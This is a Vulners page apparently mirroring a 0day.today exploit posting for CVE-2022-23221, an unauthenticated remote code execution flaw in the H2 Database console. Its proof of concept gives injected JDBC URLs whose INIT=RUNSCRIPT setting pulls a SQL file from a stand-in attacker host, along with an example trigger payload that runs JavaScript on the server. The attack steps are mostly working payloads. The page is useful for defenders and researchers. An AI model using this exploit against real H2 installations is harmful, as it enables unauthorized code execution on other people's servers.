Lucene search
+L

H2 Database Console Remote Code Execution Exploit

🗓️ 25 Jan 2022 00:00:00Reported by Ismail AydemirType 
zdt
 zdt
🔗 0day.today👁 391 Views

Unauthenticated RCE in H2 Database Console: CVE-2022-2322

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Argument Injection in H2Database H2
8 Oct 202622:15
–githubexploit
githubexploit
GithubExploit
h2database-rce-poc
29 Apr 202612:58
–githubexploit
astralinux
AstraLinux
Astra Linux – Vulnerability in h2database
14 Sep 202612:01
–astralinux
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Hibernate Validator affects IBM watsonx.data
18 Sep 202416:52
–ibm
bdu_fstec
BDU FSTEC
H2 Code Execution
8 Apr 202200:00
–bdu_fstec
circl
Circl
CVE-2022-23221
9 Feb 202402:16
–circl
cnnvd
CNNVD
H2Console parameter injection vulnerability
19 Jan 202200:00
–cnnvd
checkpoint_advisories
Check Point Advisories
H2 Database Remote Code Execution (CVE-2022-23221)
3 Nov 202200:00
–checkpoint_advisories
cve
CVE
CVE-2022-23221
19 Jan 202200:00
–cve
cvelist
Cvelist
CVE-2022-23221
19 Jan 202200:00
–cvelist
Rows per page
Document Title
===============
Unauthenticated RCE vuln in the H2 Database console: CVE-2022-23221.

Product Description
===============
The H2 Console Application

The Console lets you access a SQL database using a browser interface.

Homepage: http://www.h2database.com/html/quickstart.html
Affected Components
===============
File Name: WebServer.java
File Path: /h2database/h2/src/main/org/h2/server/web/WebServer.java
Impacted Function: getConnection

PoC
===============

1) Navigate to the console and attempt to connect to a H2 in memory
database that does not exist using the following JDBC URL:

```
jdbc:h2:mem:1337;
```

2) Note that you get the following security exception preventing you
from creating a new in memory database:

```
Database "mem:1337" not found, either pre-create it or allow remote
database creation (not recommended in secure environments) [90149-209]
90149/90149 (Help)
```

3) Now try again with the following JDBC URL:

```
jdbc:h2:mem:1339;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;'\
```

4) Note that you were able to successfully create a new in memory database
5) Create a SQL file that contains a trigger that executes
java/javascript/ruby code when executed and host it on a domain you
control (ex: http://attacker)
6) Use the following JDBC URL to execute the SQL file hosted on your
domain on connect:

```
jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://attacker/evil.sql';'\
```

Example evil.sql file:

```
CREATE TABLE test (
     id INT NOT NULL
 );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
var fos = Java.type("java.io.FileOutputStream");
var b = new fos ("/tmp/pwnedlolol");';

INSERT INTO TEST VALUES (1);
```

CVE Issued: CVE-2022-23221

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Jan 2022 00:00Current
0.9Low risk
Vulners AI Score0.9
CVSS 210
CVSS 3.19.8
EPSS0.64766
391